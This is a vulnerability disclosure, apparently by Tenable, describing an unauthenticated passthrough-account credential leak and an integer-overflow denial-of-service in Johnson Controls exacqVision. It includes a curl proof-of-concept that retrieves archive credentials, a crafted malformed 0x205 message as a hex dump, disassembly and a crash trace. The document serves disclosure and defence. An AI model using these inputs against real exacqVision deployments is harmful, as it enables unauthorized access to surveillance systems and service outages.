Johnson Controls exacqVision Multiple Vulnerabilities

Tenable found multiple vulnerabilities in exacqVision Server Bundle 21.06.11.0. This bundle includes exacqVision Client 21.06.4.0, exacqVision Server 21.06.5.0 and exacqVision Web Service 21.06.2.0.

1) exacqVision Web Service Passthrough Account Security Issue
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

The exacqVision web service allows users to use a web/mobile browser to retrieve video and other server data from exacqVision servers. The web service connects to the exacqVision server as a client and acts as an intermediary for the web client to control the exacqVision server.

When adding an exacqVision server in the web service UI, a passthrough account can be configured for the exacqVision server. When a web user wants to connect to an exacqVision server through the exacqVision web service, the user either manually enters the credentials for the exacqVision server or uses the passthrough credentials configured for the server.

If a passthrough account is configured, the web service can use the passthrough account to authenticate to the exacqVision server. The user does not need to authenticate to the web service. He or she simply visits URL /advanced.web on the web service host, goes to Configuration -> Systems -> Edit System to select an exacqVision server and checks the "Use passthrough credentials" radio button.

This means an unauthenticated remote attacker can access the exacqVision server with the privileges of the passthrough account.

If the passthrough account has high privileges (i.e., Full Admin role), the attacker can have more access to the exacqVision server, including adding a user with Full Admin role.

Even if the passthrough account has low privileges (i.e., Restricted role), the attacker can still see more privileged information. For example, only a user in the Full Admin or Power User role can configure video archiving, but a lower privileged user can see the Direct Search username and password that is part of the archiving configuration.

The following PoC shows an unauthenticated remote attacker is able to see the Direct Search username and password through an exacqVision web service host configured with an exacqVision server that has an associated passthrough account in Restricted role (i.e., low privileges).

$curl http://<exacqVision-webservice-host>/server.web/archive?s=0
{"success":true,"archiveTargets":[{"id":3735553,"enabled":true,"type":1,"upload":{"address":"\\\\<REDACTED>\\archive","hasBookmarks":false,"percentToUse":100,"mountPoint":"\\\\<REDACTED>\\archive"},"search":{"enabled":true,"address":"\\\\<REDACTED>\\archive","username":"administrator","password":"<REDACTED>"}}]}

The exacqVision Web Service Configuration manual mentions "A passthrough account is accessible at all times to all the systems users. If you configure a passthrough account, clients are automatically logged on as a user."

The passthrough configuration page says "The passthrough account is an always-on account that is publicly accessible. If configured, clients will be automatically logged in as this user."

Nevertheless, a passthrough account should not expose the Direct Search username and password to an unauthenticated remote attacker.

2) exacqVision Server Message 0x205 Integer Overflow Remote DoS
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

A 32-bit integer overflow condition exists in streampi.dll loaded into the process space of the exacqVision Server (core.exe). An unauthenticated, remote attacker can exploit this to crash the server.

The vulnerability is triggered by sending a specially crafted type 0x205 message to the exacqVision Server listening on default TCP port 22609.

The type 0x205 message appears to be used to perform password-authenticated key exchange and both the client and server can send this type of message.

The first 0x205 message sent by the client has the following format:

// le32 - 32 bit integer in little endian format
struct msg_205
{
 int8 neg; // key exchange negotiation mechanism
 byte unk;
 byte unk;
 byte unk;
 le32 UserPublicKeyLen;
 le32 UsernameLen;
 byte unk[4]
 byte UserPublicKey[UserPublicKeyLen];
 byte Username[UsernameLen];
};

Here is an example of a client-sent type 0x205 message:

158e8a80  00 00 00 00 38 00 00 00-05 00 00 00 00 00 00 00  ....8...........
158e8a90  2b f3 e4 27 80 64 50 02-e9 ce 0c 69 3d ad 43 b6  +..'.dP....i=.C.
158e8aa0  50 a6 7c e8 02 7d 11 30-d7 a6 5b 0a 6c 9d 04 29  P.|..}.0..[.l..)
158e8ab0  c7 25 cc ec 19 13 35 fd-3b 03 54 a5 00 ff 2e 35  .%....5.;.T....5
158e8ac0  6a 27 b4 3c 7e ee 3e f1-61 64 6d 69 6e           j'.<~.>.admin

The following code snippet shows the vulnerability:

.text:157F57A4      mov     eax, [edi+MSG205_BODY.UsernameLen] ; attacker-controlled
.text:157F57A7      mov     edx, [edi+MSG205_BODY.UserPublicKeyLen] ; attacker-controlled
.text:157F57AA      add     eax, 10h ; Msg data header len
.text:157F57AD      add     eax, edx ; int32 overflow !!!
.text:157F57AF chk if UserPublicKeyLen + UsernameLen + 0x10 == MsgLen
.text:157F57AF      cmp     ecx, eax
.text:157F57B1      jnz     err_152860A3

Here the code makes sure UserPublicKeyLen + UsernameLen + 0x10 = MsgLen. In the above message, the check passes as 0x38 (UserPublicKeyLen) + 0x05 (UsernameLen) + 0x10 = 0x4d (MsgLen)

Because of the int32 overflow, the following malformed 0x205 message can pass the check as (int32)(0x01000000 + 0xff00003d + 0x10) = 0x4d:

00000000: 00 00 00 00 00 00 00 01  3D 00 00 FF 00 00 00 00  ........=.......
00000010: 41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000020: 41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000030: 41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00000040: 41 41 41 41 41 41 41 41  61 64 6D 69 6E           AAAAAAAAadmin

In this case, the server sees the UserPublicKey field has 0x01000000 bytes (where it indeed has 0x38) and the Username field has 0xff00003d (where it indeed has 5) bytes. Later, when the server allocates a buffer and copies the UserPublicKey field to the buffer, a buffer over-read condition occurs as the source data doesn't have that many bytes. This can cause an access violation resulting in process termination:

0:081> g
(dec.79c): C++ EH exception - code e06d7363 (first chance)
(dec.79c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=08b58a20 ebx=07b58a20 ecx=007eba20 edx=01000000 esi=0836d000 edi=0c4d4620
eip=6bfbcf5e esp=08f3c018 ebp=08f3c03c iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010203
VCRUNTIME140!memcpy+0x4e:
6bfbcf5e f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
0:040> db esi
0836d000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0836d010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0836d020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0836d030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0836d040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0836d050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0836d060  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0836d070  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:040> kb
 # ChildEBP RetAddr  Args to Child              
00 08f3c01c 07a11391 0bcc0040 07b58a20 01000000 VCRUNTIME140!memcpy+0x4e [f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 194] 
WARNING: Stack unwind information not available. Following frames may be wrong.
01 08f3c03c 07a65810 07b58a20 01000000 c8a322e9 streampi+0x11391
02 08f3c2f4 07a669dc 07b58a10 0000004d c8a3260d streampi+0x65810
03 08f3c610 07a69238 0746adc0 00000060 0b786408 streampi+0x669dc
04 08f3c630 07aabfa6 2b178593 c8a31ab1 073d4544 streampi+0x69238
05 08f3faac 07ae4029 c8a31ac5 07372d98 07ae3fe0 streampi+0xabfa6
06 08f3fad8 755f4f9f 073d4544 9f16e8fb 755f4f60 streampi!Write+0x2f7e9
07 08f3fb10 760ccf39 07372d98 760ccf20 08f3fb7c ucrtbase!thread_start<unsigned int (__stdcall*)(void *),1>+0x3f
08 08f3fb20 774926b5 07372d98 991debad 00000000 KERNEL32!BaseThreadInitThunk+0x19
09 08f3fb7c 77492689 ffffffff 77515ca2 00000000 ntdll!__RtlUserThreadStart+0x2b
0a 08f3fb8c 00000000 755f4f60 07372d98 00000000 ntdll!_RtlUserThreadStart+0x1b

Note that this vulnerability only exists for the exacqVision Server running on 32-bit systems.